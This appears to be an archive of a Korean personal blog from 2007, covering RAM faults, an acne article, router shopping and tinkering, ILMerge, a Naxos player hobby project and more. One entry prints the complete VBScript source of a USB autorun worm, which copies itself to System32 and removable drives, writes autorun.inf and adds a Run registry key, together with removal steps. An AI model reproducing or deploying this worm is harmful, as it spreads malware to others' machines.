2007년 10월 9일 화요일

램에 문제가 있을때 증상

이번에 노트북을 켜는데 계속 지맘대로 프로그램이 충돌되고, 컴퓨터가 리부팅(무한리부팅ㄷㄷ)되는증상이 있었다,

무슨문젠가 해서 디스플레이 드라이버도 제거하고 꽂혀있는 usb도 모두 제거해봤지만 해결되지 않았다. 혹시나 몰라서 바이오스 post 상황을 보는데, 램 수치가 약간 이상했었다.

역시 램이 문제다.. 생각하고 메모리 테스트 프로그램인 memtest86 3.3 무료버젼을 다운받아 시디로 굽고, 부팅을 했더니 오류가 우루루 몰려오는것이 아닌가!

이번에 고객센터를 방문해야겠다.OTL,. 어짜피 배터리 문제도 있고, 오디오-아웃풋 단자문제도 있으니까 뭐 잘된건지도(귀찮아서 방치해두고 있었다.-_-;;)





아래는 램에 문제가 생겼을때의 반응들..


1. 윈도우를 정상종료 하였지만 chkdsk를 하겠냐는 메시지가 나온다.
명령을 수행하면 조각난 파일목록이 보인다.







2. 응용 프로그램 오류
응용 프로그램을 제대로 초기화하지 못했습니다,
예외가 ~에 있는 응용 프로그램에서 발생했습니다.








3. 각종 블루스크린.
PAGE_FAULT_IN_NONPAGED_AREA - 0x00000050
win32k.sys - 0x0000008E
IRQL_NOT_LESS_OR_EQUAL - 0x0000000A














4. 당연한 이야기이겠지만, 램 테스트 도구로 테스트 하면 오류가 나온다.



2007년 10월 8일 월요일

[스크랩]피부의적 여드름이란?

2007년 10월 7일(일) 오후 7:21 [스포츠서울닷컴]

[스포츠서울닷컴 자료팀] 청소년 뿐만 아니라 성인에게도 여드름은 많은 스트레스를준다. 이에 강남역 미라인 피부과 방장석 원장에게 알아보았다. 여드름은 피지선과피지가 배출되는 통로인 모낭상부에 만성염증으로, 호르몬 불균형, 모공입구 폐쇄,여드름 균의 증식으로 인해 발생한다.
피부의 피지 생산이 증가되고 모공의 각화로 인해 모공이 막히면서 면포를 형성하게되는데, 여기에 이차적인 세균의 감염으로 염증이 생겨 농포를 형성 하게 된 것이여드름이다. 실제로는 여드름이 다양한 형태를 보이게 되는데 크게 분류해도 염증이없는 면포성, 염증을 동반한 구진성, 그리고 가장 심한 형태인 멍게 표면과 같은양상을 보이는 웅괴성 여드름이 있다.


여드름을 악화시키는 요인을 보면,
우선 수면 부족으로, 이때는 자율신경의 부조화로인해 위장, 간장에 나쁜 영향을 미치게 되고 피부에 영양공급이 부실하게 되고 염증이잘 생기게 된다. 다음으로 호르몬의 영향이다. 대체로 생리시작 1주일 전부터 악화되며,그 외 여성 생식기의 질환이나 피임약 복용 여부 등도 증상과 관련이 있다. 여드름이사춘기에 시작되는 것은 이때부터 성호르몬의 활동이 활발하게 되기 때문이다. 또계절에 따라 악화되는 수가 있다. 땀이 많이 난다든지 습도가 높아지면 나빠지며,햇빛은 대부분의 환자에게 좋은 영향을 미치나 일부에게는 새로운 여드름양 발진이나타나기도 한다. 외부 접촉물질도 중요하다. 지성화장품, 일부 자외선 차단제, 모발용크림 등은 여드름을 일으키거나 악화시킨다. 장시간 턱을 괴고 있는 다든지 엎드려서자는 것 등 압박을 가하거나 마찰과 같은 기계적인 자극들도 여드름을 심하게 발전시킨다.
그 외에는 여러 가지 약물들이 여드름을 일으킬 수 있으며, 스트레스를 심하게 받으면여드름이 갑자기 꽃피게 된다.



여드름은 외모에 영향을 줄 뿐 신체적 건강에 미치는 영향은 없다. 그러나돌이킬 수 없는 피부의 흉터를 만들 수 있고 이러한 흉터는 정신적 건강을 해치게될 수 있으므로 적절한 치료가 필요하다. 여드름의 상태, 피부 특성, 직장생활이나사회생활, 면접, 결혼식 등 주요 중요 행사, 치료후 피부 회복기간, 치료의 효과가나타나는 시기, 경제적 측면 등이 치료방법을 결정하는 관계될 수 있는 요인들이다.
여드름 치료제는 종류에 따라 다르나 최소한 1~2개월 정도 꾸준히 치료해야한다. 여드름 흉터는 여드름을 조기 치료하여 예방할 수 있다. 흉터가 생긴 경우는개인의 상태에 따라 화학 박피술이나 레이저치료 등으로 치료할 수 있으며 흉터 치료에앞서 여드름 염증 치료를 먼저 해야 한다.

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결국 수면부족이 원인이었군요. 요즘따라 조금씩 나려고 하는게..

2007년 10월 4일 목요일

[잡]경기도 버스정보 시스템

경기도 버스정보 시스템 사이트를 (http://www.gbis.go.kr/) 발견했다.


이 사이트에는 실시간정보라는 메뉴가 있는데, 그 메뉴를 누르면 첫/막차시간, 배차시간, 경유 정류장, 실시간 버스위치정보를 알 수 있다.

단점으로는, activex를 사용하여 약간 느리다는점, 경기도를 대상으로 하는거라서 버스번호를 입력한 후 여러지역에 걸친 버스목록중에서 하나를 선택해야한다는 점이다. 그리고 exact 매치가 아니라서 11번 버스를 찾으려 하면 11-1, 31-11 같은 관련없는 정보가 마구 쏟아진다는것.

하지만 이런 단점들에 비해 장점이 더 크기 때문에 유용하게 사용될 것 같다. 예전에 이글루 블로그에 이 기능이 있었으면 좋겠다라고 써놓았었는데, 그런 기능이 실제로 동작하는걸 보니 기분이 좋다^^



7770버스의 노선. 이래서 수원에서 사당으로 가는게 빨랐구나. 거의 일직선 코스다..






7770번의 노선을 보여준다. 지금 새벽이라 차량이 검색이 되지 않지만, 보통시간대에는 버스가 어느구간에 있는지를 보여줄것이다.

2007년 10월 3일 수요일

ipTIME G104 -> VR-100으로.

저의 공유기에 대한 정신없는 근황을 보여드립니다.




1. ipTime G104 판매.
8월 27일에 g104를 장만하여 VR-100을 위하여(게시물 아래쪽을 확인)오늘 (10월 3일)에 팔았습니다.
무려 새제품 가격에서 만원을 깎아서 장터에 올려놓으니 바로 전화가 오더군요.;;
하기야 이것처럼 성능 좋은 상품도 드물거라 생각합니다. 단안테나와 마그네슘케이스로 무선인터넷 하기가 안좋은 msi의 s271x 에서도 2m가 떨어져 있어도 54m가 나올정도면.















인터넷에 g104라고만 쳐도 이미지 수백개가 뜰테니 자세한 사진은 생략합니다.ㅎㅎ
공유기가 항상 켜져있고, os는 리눅스인데다가 web 설정환경을 지원하는데에 상당한 관심을 보였습니다. 웹/파일서버로 사용하는건 어떨까 하는 생각을 이뤄보려 했습니다.






2. 공유기에서 셸 띄우기
결국 "iptime 공유기의 셸 띄우기"라는 게시물을 바탕으로 이 작업을 수행하게 됩니다. nmap으로 포트스캔을 해봐도 걸리는건 명령입력과는 관계없는 포트 하나였기 떄문에 웹에서 명령을 입력하여 포트를 하나씩 열어가려고 했습니다.






(kldp 퍼온사진) 이런식으로 명령을 웹상에서 입력할 수 있는 것이었습니다. find 명령도 안먹고 해서 ls삽질하다가 sbin에 ftpd를 발견하고 동작. 이걸로 들어가서 웹사이트 변경 성공. 웹서버는 boa, ftp는 betaftpd이더군요.(참고로 betaftpd는 따로 환경설정파일이 없습니다. passwd내용가지고만 설정.)











그리고 웹하드의 기능도 추가하려고 했습니다, busybox의 mount명령은 nfs를 선택적으로 지원하기 떄문에(공유기에 있는파일은 지원안함설정되어있어서) 새로 크로스컴파일을 해야했습니다.

용량문제 때문에 vm웨어와 그의 가상하드들을 지웠기 때문에 cygwin으로 들어가서 하려다가 cywgin은 안된다더군요, ㅡㅡ;;(참고사이트)
다시깔긴 귀찮고 해서 이상태에서 멈춰두고 있었습니다.






3. USB 포트지원 공유기
그러다가 지난번 포스팅에서 USB 포트를 지원하는 공유기를 보고, "아, usb device로 mount 하면 더 편하겠구나"하는 생각이 들었습니다. AnyGate GW-450A를 살펴보는게 문제가 하나 있던것이, 플래시 메모리가 2mb밖에 안되어 한계가 있는것 같이 보였습니다. 다른 물건들을 살펴보다가 유니콘 IPN-5400G라는 놈을 발견했지만 요즘은 중고매물도 안나오던것 같더군요 무려 8mb의 용량이었는데!

계속 찾아보는데 요즘에 나온 usb 포트가 있는 공유기 상품을 찾기가 어려웠습니다. 뭐 어쩔수 없다.. 하고 있었는데 NDS-354라는 녀석을 발견하고, 넷하드라는 개념을 알게 되었습니다.(그전까지는 이런 제품이 있는지도 모르고 있었죠.)







4. 넷하드
NDS-354도 역시 리눅스 기반이었습니다.소스도 공개되어 있고 가격도 6만원대면 구입할 수 있었지만, 홈페이지를 보니 별도의 프로그램을 설치해서 접속해야 된다, 무선 접속 불가, 팬소음 큼... 등의 문제가 있다고 보고되었다. 흠 좀 무섭군요. 더욱 자료를 알아보다가 네이버 넷하드 카페를 발견하였습니다. 좋은 제품들이 많이 있었지만 문제는 가격이 비싸다는거.. 매물도 잘 안나오는거 같아서 넷하드도 역시 어쩔수없구나.. 하였습니다. 대신 NAS(Network Attached Storage)라는 개념을 알게 되었습니다.








5. VR-100 구매 준비
이제품을 어떻게 찾았는지는 기억이 안납니다. 취중코딩과, 수면중코딩을 하고선 다음날에 어떻게 짠건지 기억이 안나는것처럼 말입니다-_-; nas로 검색을 해서 나온것 같긴 하지만..
아무튼 이제품 상당히 물건인것 같습니다. usb 2port 지원으로 프린터 공유와 하드 공유가 되고, 인터넷 유무선 공유기 기능도 됩니다. 기본안테나는 5db짜리를 줘서 g104보다 더욱 멀리서 더 빠르게 인터넷에 접속할 수 있을것 같습니다. 뽀대(?)도 어느정도 나고 rom이 (32/4)더군요.
g마켓에서 어제 검색하니 9만 5천원이 최저였는데, 오늘 검색하니 9만 초반으로 싸졌습니다. 혹시 몰라 장터를 검색하니 6만 5천에도 매물이 나오더군요. 싸기도 하고 기능도 좋네요. 원래 새거를 사려고 했다가 이제는 중고 매물만 기다리고 있습니다. 나오면 바로 계좌이체 시켜드릴테니 빨리빨리좀 올려주세요 님들..ㅋㅋㅋ


[내용추가] 글쓰고 장터에 한번 들어가봤는데 매물이 새로 하나가 나오더군요.ㅎㅎ 바로 구매 했습니다. 배송비 포함 75천원이라 65천보다는 비싸지만, 이미 공유기를 팔아버렸으니 빨리 다시 구매하는 것이 죽치고 앉아 있는것보다는 좋겠다 생각해서^^










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여태까지 링크를 걸떄 뒤에 주소를 붙여넣기 하는 방식으로 했었는데, 나중에 게시물을 다시 보니까 정신이 없더군요. 약간 번거롭더라도 키워드에 링크를 거는 방식을 사용하겠습니다.ㅎ

[잡]블로그스팟 글쓰기모드 단점

블로그스팟은 은근히 사용하기 어려운 환경이다.
html 편집을 통해 embed src로 http://www.amazon.com/gp/dmusic/media/sample.m3u/ref=dm_mu_dp_trk2_smpl/103-7785837-2657443?ie=UTF8&catalogItemType=track&ASIN=B000QVAU94 를 불러오려고 했는데 실패했었다. 알고보니 html 편집기에서 리치텍스트 편집기로 전환하는 과정에서 url을 지멋대로 분석해버리고 쪼갠후 , ref="du_mu....."이런 식으로 속성값으로 만들어 버렸다.-_-;;

아무튼 근 1달 반을 쓰면서 블로그스팟의 단점으로 첫번째 꼽을 수 있는것은 바로 게시물 작성 페이지의 사용상의 불편함과 오류들일것이다.


앞에서 적었던대로

  1. html편집기에서 리치텍스트로 전환하는데에 문제점도 있고, (특히나 전환과정에서 지맘대로 내용이 바뀌기도 한다.-_-)
  2. 일반 파일 첨부가 안된다는점.
  3. <p>태그가 지맘대로 붙여졌다가 떼어졌다가 해서 가끔씩 shift+enter키를 눌러야 하는경우도 있고, 가끔은 게시물을 다시 수정해야 한다.(편집기에서는 문제가 없었는데 페이지를 보니까 지맘대로 <p>가 붙여져 있어서 다시 <p>를 제거하는 작업을 해야한다).
  4. 게다가 리치 텍스트 편집모드에서 입력했음에도 불구하고 <p>태그를 입력하면 그게 진짜 태그로 착각 하는 경우가 있다. 심지어 < p >처럼 띄어쓰기를 했을때에도 태그로 인식하는거 같다.-_-. '&' 기호를 amp;로 치환하듯이 < 기호를 lt;로 바꾸면 되는문제일것을...
  5. 또한 편집 textarea가 좁아서(아니면 textare 내부의 글씨가 커서) 별로 쓰지도 않았는데 글씨로 꽉차보인다-많이 썼다는 안도감을 줘서 글의 내용을 은근히 줄여주는 역할을 한다..ㅋㅋㅋ
  6. 그리고 레이블을 입력할떄 한글이 지원이 안되어서 전체보기로 선택해야하고,
  7. 게시물 하단에 현재 게시물을 바로 수정할 수 있는 편집아이콘이 나타났다가 안나타났다가 해서 게시물을 수정하기가 번거롭다.(분명 편집아이콘을 보이도록 설정했었는데.)
그래도, blogspot의 단순한 디자인과(물론 템플릿을 이런걸 쓰니.ㅋㅋ) 보기좋은 폰트가 좋다.
신기하다. 뭐 이런 단순한것때문에 블로그스팟이 좋다니.-_-;;;
(한국형 블로그들은 어딘가 모르게 복잡한면이 있는것 같다.)

2007년 9월 28일 금요일

인터넷 유선공유기 사양/가격 조사

개요
공유기는 항상 켜져있고 갈수록 기능이 많아지는것을 보면서 공유기를 적절히 활용할 수 있는 방법을위한 프로젝트를 계획중이다.
이를 위하여 공유기의 성능을 분석하여 적절한 공유기를 구매하려고 했는데, 스펙이 대충대충 적혀있어서 판별하기가 어려웠다. 그리고 유무선 공유기는 비싸므로 유선공유기에 초점을 두기로 했다.
그래서 이번기회에 다나와(http://www.danawa.com/)의 컴퓨터->네트워크->IP공유기->인기순 검색 후 2만원정도의 유선 공유기들에 대해 조사한 것이다.
몇몇은 CPU정보까지 찾을 수 있었다. 가격은 07년 9월 28일 기준이다.


결과

1. EFMNetworks ipTIME Q204, Q104 (21000원)
CPU : 166MHz ARM9 with MMU
DRAM : 8MB
FLASH : 2MB
POWER : 5V 1A

2. EFMNetworks ipTIME V108 (48000원) => 1번과의 대조군. 겨우 DRAM만 차이?
CPU : 166MHz ARM9 with MMU
DRAM : 16MB
FLASH : 2MB
POWER : 5V 2.6mA (적히긴 이렇게 적혔는데 2.6A이겠죠?)

3. SDT정보기술 Zio V10 (19200원)
CPU : 150MHz ARM9 (Marvell 88E6218)
DRAM : 16MB
FLASH : 4MB
POWER : 9V 700mA

4. 에이엘테크 AnyGate GW-450A (23300원)
CPU : 175MHz MIPS (Infineon ADM5120P)
DRAM : 16MB
FLASH : 2MB
POWER : 5V 1.2A
ADD : 프린터 서버 지원

5. 백두정보통신 UKHAN UBR-204+ (18000원)
CPU : 150MHz ARM9 (Marvell 88E6218)
DRAM : 16MB
FLASH : 4MB
POWER : 9V 500mA

6. LG상사 LGI-IP3000S (18400원) => 사양 알아보는데 머리아프게 하는 제품.-_-
CPU : 150MHz AVEPLUS WP3221(270MIPS)
DRAM : 8MB
FLASH : 1MB(LANIS 리뷰에서는 2MB라고 한다)
POWER : 3.3V 1.5A
참고 : 라우터에 많이 사용되고 있는 MIRCEL사의 KS8695나 INFINEON사의 ADM5120P보다 훨씬 월등한 성능을 보여줌을 알 수 있다. 또한 단순 클럭 비교를 하여도 MIRCEL KS8695의 경우에는 166MHz, INFINEON ADM5120P는 175MHz, WAVEPLUS WP3221는 150MHz로 클럭이 제일 낮음에도 가장 높은 수치를 보여주고 있다. (출처 : http://www.lanis.co.kr/bbs/board.php?bo_table=review&wr_id=1348)

7. SDT정보기술 Zio X10 (19900원)
DRAM : 16MB
FLASH : 4MB
POWER : 9V 500mA

8. 이지넷유비쿼터스 NEXT-815V Pro+ (19000원)
DRAM : 8MB
FLASH : 2MB
POWER : 5V 1A


종합평가

EFMNetworks ipTIME G104를 쓰고있는데, 스펙이 1번의 Q104와 거의 비슷하다. 이것의 MIPS값을 분석하니 83.14라는 값이 나왔다. 6번의 IP3000S 가 270이나 나왔다는것은 실로 놀라운 일이다. 메모리만 적절했으면 망설임 없이 바로 질렀을텐데.
현재 G104의 (파일을 저장할 수 있는)메모리가 좀 더 컸으면 했다. 그러므로 4MB짜리 공유기를 중점적으로 보았고, 그러므로 3번의 Zio V10 와 5번의 UKHAN UBR-204+가 남게되었다.
UKHAN UBR-204+를 알아보기위해 홈페이지에 가봤으나 매뉴얼마저 볼 수 없다는 글이 많았다. 왠지 사후대책이 부족할것같아 Zio V10 로 잠정결론났다.-_-




========================== 글쓴 후 20분뒤에 추가됨===================

G104의 전체 용량이 (3835+219)KB=4MB으로 확인되었습니다. 결국엔 이 페이지는 저에겐 소용없는것이 되어버렸군요.-_-;;;;; (원래 좀더 큰 메모리를 가진 공유기가 있나 조사한거지만 대개 4MB가 최대이므로.)
괜찮습니다. G104가지고 하면되지요ㅎㅜㅠ

2007년 9월 26일 수요일

ILMerge-Exe파일과 Dll파일을 결합?

DLL과 EXE를 통합시킬 수 있는 방법을 찾기위해 google에 "exe dll integrate"라고 치니까 How to integrate dll's with my exe(http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=2154240&SiteID=1)라는 글이 바로 나왔다. 역시 구글천국..ㅋㅋ

윗글의 리플에 따르면,
ILMerge는 여기(http://www.microsoft.com/downloads/details.aspx?FamilyID=22914587-b4ad-4eae-87cf-b14ae6a939b0&displaylang=en)에서 다운로드가 가능하다. 그리고 이것의 설명은 codeproject(http://www.codeproject.com/dotnet/mergingassemblies.asp)에서 볼 수 있다.

아래는 ILMerge의 사용방법을 요약해 놓은것이다.

1. 라이브러리는 DLL로, 프로그램은 DLL을 참조하는 EXE파일로 컴파일한다.

csc /target:library /out:ClassLibrary1.dll ClassLibrary1.cs
vbc /target:library /out:ClassLibrary2.dll ClassLibrary2.vb
vbc /target:winexe /out:Program.exe

2. ILMerge로 이 각개의 부분들을 링크시켜 하나의 EXE로 만든다.

ilmerge /target:winexe /out:SelfContainedProgram.exe Program.exe ClassLibrary1.dll ClassLibrary2.dll
(ilmerge /target:winexe /out:결과EXE파일 [통합하려는 파일들.])


(ILMerge로 상업적인 클래스 라이브러리도 같이 통합할 수 있다.^^ 나의것이 되는거?ㅋㅋ)

[프로젝트]Naxos Player 2.0

개요
일단 로그인 과정을 생략하는것은 1.0버젼(http://frontjang.blogspot.com/2007/09/naxos-player-10.html)에서 해결했었다. 하지만 처음 만들었던 소스의 가독성과 복잡도, 그리고 재사용성을 위해 더러운 몇몇 부분을 고치려고 했었다.
하지만 고치는 중간에 소스가 엉켜버렸고, 다시 고치려 했으나 갑자기 알수없는 오류(exception)가 발생함에 따라 기존 소스를 뒤엎어 버리는 상황에 이르게 되었다. 그래서 원래는 버젼 1.1로 가려고 했으나, 수고스러운 면때문에 기분상 2.0으로 버젼을 업해버렸다.ㅎㅎ
아직도 모르겠다. 헤더부분을 조작하는 쪽의 코드를 최적화하려 했을 뿐인데... 리턴되는것은 400에러, 하지만 소스를 봐도 이전에 만들어 놨던거랑 새로 고친 코드의 차이를 거의 느끼지 못하여 그상태에서 에러를 수정하지 못했다. 게다가 웹페이지는 제대로 불러와졌는데!!



기능
1. naxosmusiclibrary 앨범 플레이페이지에서 앨범 정보를 가져옴.
2. 앨범사진 url을 빼온다. 상대경로는 ClassicOnline(http://www.classicsonline.com/)와 같은 체계이다. 이 사이트에서는 고화질 앨범자켓을 다운받을 수 있으므로, 이 사이트에서 그림이 있는지 우선 검색하여 만약 고화질 사진이 존재하면 ClassicOnline 서버의 이미지를, 없으면 Naxosmusiclibrary 서버의 이미지를 받아온다.
3. 앨범 상세정보를 다운받는다. 아마존에서 정보를 다운받는것이 (그쪽의 소스가 퍼오기 쉽게 구성이 되어서) 좋은데, 가끔 찾을 수 없는 앨범도 존재하므로, 앨범플레이페이지의 정보를 다운받는다. 쓸데없는 script문들이 존재하므로 그걸 다 삭제하여 저장한다. 처음에는 정규표현식으로 앨범정보를 추출해내려 했으나, 귀찮아서 생략. 뭐 아쉬우면 htm 처리기를 따로 만들면 되니까.
4. 내가 들었던 앨범의 정보를 저장한다. 이는 xml 파일에 저장하며, 앨범정보사이트/앨범이미지의 주소, 타이틀, 재생횟수, 앨범 고유번호, category number(?)를 저장해 둔다. xml 검색기능으로 들었던 목록을 순식간에 검색하는 기능도 있다.(naxos 페이지가 좀 느리다.-_-). 그리고 검색목록에서 원하는 앨범을 클릭하자마자 내가 그 앨범을 몇번들었는지 나온다.



스크린샷


메인화면, scriabin으로 검색하여 계속검색 버튼을 한번 누르고 앨범 상세정보를 보고있음.

저장되는 파일들. htms/, imgs/, index.xml 로 저장된다.

앨범정보 html 파일들. raw파일은 80k인데 그나마 쓸데없는 스크립트를 줄였더니 50k정도 감소했다. 정규표현식을 쓴다면 10k정도만 나갈 수 있을텐데...

앨범 자켓을 저장하는곳, 앞에서 말했듯이, 두 사이트에서 크기비교 후 얻은것이다.

index.xml 파일내부. 카테고리 넘버(맞는지 모르겠다.?)가 숫자로 시작하는게 있어서 xml문법에 어긋났기 떄문에 앞에 a를 붙여주었다.-_- 이 안에는 각종 정보가 저장된다.

2007년 9월 23일 일요일

[프로젝트]Naxos Player 1.0

개요 & 기능 & 기타
평소에 즐겨들어가는 http://www.naxosmusiclibrary.com/ 하지만 로그인 과정이 팝업창이 뜨면서 플레이되는 방식이 귀찮았기 떄문에 이 프로그램을 만들어봤다. 프로그램 종료시의 로그아웃 과정도 집어넣었다ㅎㅎ. 아무나 어디에서든 이 프로그램을 돌리면 낙소스의 수많은 앨범을 들을 수 있다.-_-;;

html 분석하고 js 분석하는게 좀 복잡해서 그랬지 만드는데 큰 어려움은 없는 프로그램이었다.


앞으로 추가할 기능으로는
1. 계속검색기능(10앨범씩 검색결과가 추가되도록-한번에 100개씩 불러올 수 있지만 서버를 위하여..ㅎㅎ)과
2. 내가 들은 앨범목록을 저장할 수 있도록, 그리고
3. 현재 재생되고 있는 앨범의 정보를 저장하여 나중에 다시 찾기 편하게 할 수 있는 기능을 넣어야 겠다.
(근데 사이트 분석하다보니까 현재 Near CD품질로 한정된 계정을 CD품질로도 들을 수 있도록 만들 수 있을것 같다^^)




스크린샷

검색어 'prokofiev' 상위 10개항목 출력, 그중에서 앨범 하나 선택한 화면.

2007년 9월 21일 금요일

NBC의 비디오 무료 다운로드 서비스?

NBC Universal, acknowledging that viewers are increasingly moving away from traditional television viewing, announced plans today for a service that will make popular NBC programs available to download free to personal computers and other devices.

http://www.nytimes.com/2007/09/19/business/20nbc-web.html

흥미로운 소식이었다. 그런데 알고보니 .-_-

Select NBC Universal shows are now available for download to your PC, courtesy of NBC and Intel, for a limited time in the United States.

USB 바이러스 VB 소스 & 치료방법

소스를 좀 보니까 나름 귀엽다(-_-?)
익스프로러 창에 "Hacked by"가 뜨고 내컴퓨터에서 드라이브로 들어가면 autorun.inf로 인해 884B0E95AB804B3.vbs라는 스크립트가 실행된다.

치료방법은 먼저 explorer.exe, WScript.exe를 (작업 관리자에서) 프로세스를 강제 종료한 후, \SYSTEM32아래의 884B0E95AB804B3.vbs파일을 삭제하고, USB메모리의 884B0E95AB804B3.vbs와 autorun.inf를 삭제하면 된다.

굵은 글씨는 이 프로그램의 핵심(?)이라고 생각되는곳.



===================================
On error resume Next
Dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd,oldname,newname,rgname
Dim text,size
Set fs = createobject("Scripting.FileSystemObject")
Set WNet = WScript.CreateObject("WScript.Network")
Set mf = fs.getfile(Wscript.ScriptFullname)
oldname=CStr(fs.getfilename(Wscript.ScriptFullname))
newname = WNet.ComputerName & ".vbs"
'884B0E95AB804B3.vbs 884B0E95AB804B3.vbs 884B0E95AB804B3.vbs 884B0E95AB804B3.vbs 884B0E95AB804B3.vbs884B0E95AB804B3.vbs884B0E95AB804B3.vbs884B0E95AB804B3.vbs884B0E95AB804B3.vbs
rgname = Replace(newname,".vbs","")
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe 884B0E95AB804B3.vbs"
size = mf.size
check = mf.drive.drivetype
Set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline:mysource=mysource & vbcrlf
Loop
mysource=Replace(mysource,oldname,newname)
Do
Set winpath = fs.getspecialfolder(0)
Set tf = fs.getfile(winpath & "\SYSTEM32\" & newname)
tf.attributes = 32
Set tf=fs.createtextfile(winpath & "\SYSTEM32\" & newname,2,true)
tf.write mysource
tf.close
Set tf = fs.getfile(winpath & "\SYSTEM32\" & newname)
tf.attributes = 39
For each flashdrive in fs.drives
If (flashdrive.drivetype = 1) and flashdrive.path <> "A:" Then
Set tf=fs.getfile(flashdrive.path &"\884B0E95AB804B3.vbs")
tf.attributes =32
Set tf=fs.createtextfile(flashdrive.path &"\884B0E95AB804B3.vbs",2,true)
tf.write mysource
tf.close
Set tf=fs.getfile(flashdrive.path &"\884B0E95AB804B3.vbs")
tf.attributes =39
Set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
Set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
Set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
End if
next
Set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & rgname & "",winpath&"\SYSTEM32\" & newname
if check <> 1 then
If Int((100-1+1)* Rnd+1)=9 And Int(Day(date))=9 Then
MsgBox "Mutation of Trojan virus!"
End if
Wscript.sleep 60000
Else
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by " & Replace(oldname,".vbs","")
End If
loop while check<>1
Set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

2007년 9월 20일 목요일

[잡]영어 주소, 날짜 표기법

영어 주소 표기법 :
우143-130
서울 광진구 화양동 47-67
서 유 석

=>

47-67, Hwayang-dong
Kwangjin-gu, Seoul
143-130 KOREA


(출처 : http://kin.naver.com/db/detail.php?d1id=11&dir_id=1106&eid=EjR/MDaNawjuWkqBa+rIitHWtjCxrZCl&qb=ucyxuSDB1rzSILXOwdk=)




영어 날짜 표기법 :
미국: Wed, July / 05 / 2006. (월/일/년)
영국: Wed, 05 / July / 2006.(일/월/년)

(출처 : http://kin.naver.com/db/detail.php?d1id=11&dir_id=111401&eid=RmVJCW/diqPRlNRuWCZJzIhQCuVnhwj0&qb=ucyxuSCzr8KlIMelseI=)


=====================
주소를 쓸때 윗쪽부터 아랫쪽으로 동,구,시... 로 나가는지, 아랫쪽부터 윗쪽으로 이런식으로 나가는지. 또 영국날짜와 미국날짜가 어떻게 되는지 논쟁(?)이 붙었었다. 그래서 조사한것. 나중에 이소리 또나오면 바로 보여줘야지.ㅎㅎ

2007년 9월 19일 수요일

[잡]freeT가 뭐지?

네이버 뉴스를 보다가 댓글중에 freepcs에 대한 언급이 있길래 조사해봤다.
찾은 결과는 http://www.freet.co.kr/

가입비 없고 기본료는 절약요금제 3600원/월, 실속요금제 4500원/월(부가세별도)라고 한다.
실속요금제는 절약요금제+발신표시서비스인것 같다.

설명을 보니

이동통신사(LGT)에서 구축한 이동통신망을 사용하여, 기존 이동통신사들이 여러가지 이유에서 제공하지 않는,고객이 원하는 서비스, 고객에게 이익이 되는 서비스를 제공합니다.


무선인터넷같은 부가서비스 필요없는 사람에게 유용할 것 같다(나같은)
선납방식이라 계획적인 통화가 가능하고(급한 전화가 아니면 인터넷전화나 집전화, 혹은 인터넷 무료 문자를 쓰면 되고), lgt에서 사용가능한 통신기기는 모두 호환된다고 한다.

그리고 http://zero-phon.com/ 이라는 곳이 있는데, 여기는 통화료를 줄여주는 데라고 한다. freepcs와 함께 사용해도 된다고 하니, 여기도 알아두면 좋을 것 같다.10초에 12원-부가세 별도-이고, 곧 10초에 9원 요금제가 출시될거라고 한다.

080-717-0001 을 누르고 걸고싶은 번호 누르교 우물정(#)자를 누르는 방식이라고 하는데, 귀찮아서 안쓸 가능성도 있겠다
대안으로, "080-717-0001T원하는전번#" 식으로 상대방 번호를 저장하면 된다고 한다.
또한 제로칩이라고 하는 2만원짜리 칩을 꽂으면 일반통화방법 그대로 쓸 수 있다고한다.

USB 필터 드라이버 소개-마소6월자 기사

월간마소07년 6월자 기사다. 예전에 이 기사가 맘에들어서 복사해서 스크랩 하고 있었는데, 뉴스레터로 첨부되어있는것을 보니 반가워서 링크주소를 올려본다.(물론 아래의 pdf 링크주소도 금방 사라지겠지만-pdf파일을 블로그에 올려보려고 했는데 방법이 없는것같다.)

이 기사는 총 두편으로 나뉘어져 있는데, 뉴스레터에서 1편을 올려놓아 호기심을 유발시키고, 2편을 구매하도록 은근슬쩍 유도하는것같다.-_-; 혹시라도 궁금한데 돈이 10원도 없는 사람에게는 2편을 슬쩍 스캔하여 올려드릴 수 있다.(그러다 구속?ㄷㄷㄷ)

이 기사는 내가 구상하고 있는 freeusb 프로젝트에 유용하게 사용될 듯 싶다.(그래서 스크랩도 해놓은것).
대신 그 프로젝트가 언제 추진될지는 미지수다. 이러다가 누가 먼저 제품출시할지도 모르겠군.


원문중..

이번 프로젝트는 이동식 디스크로 사용가능한 USB 플래시 메모리 환경에서 편리한 이용과 보안 적용으로 분실시 자료유출 걱정이 없는 보안 솔루션 제작이 목적이다.
...
이의 해결책으로 파일 시스템을 하나 더 만들되 그것을 원래의 파일 시스템을 대신하게 하고, 이 둘의 동기화가 가능하다면 원하는 솔루션을 만들 수 있지 않을까 싶다.


바로가기 : http://www.imaso.co.kr/data/tempfile/p31343.pdf

2007년 9월 18일 화요일

[음반]NANCARROW: Pieces for Small Orchestra / Tango? / String Quartet No. 1



8.559196 NANCARROW: Pieces for Small Orchestra / Tango? / String Quartet No. 1

NANCARROW, CONLON
01. Piece No. 1 for Small Orchestra 07:01
02. Toccata for Violin and Player Piano 01:38
03. Prelude and Blues 03:22
04. Study No. 15 (trans. Y. Mikhashoff) 01:13
05. Tango? 02:49

Sonatina (trans. Y. Mikhashoff)
06. I. Presto 01:29
07. II. Moderato 01:47
08. III. Allegro molto 01:33

09. Trio Movement 02:41

String Quartet No. 1
10. I. Allegro molto 02:40
11. II. Andante moderato 03:15
12. III. Prestissimo 04:43

13. Piece No. 2 for Small Orchestra 10:31




연주 : Mia Wu, violin
앨범 : 02. Toccata for Violin and Player Piano 01:38
트랙 : NANCARROW: Pieces for Small Orchestra / Tango? / String Quartet No. 1


=====================

Classical Music Spotlight의 The Sonic Rebellion Collection 을 들었다.
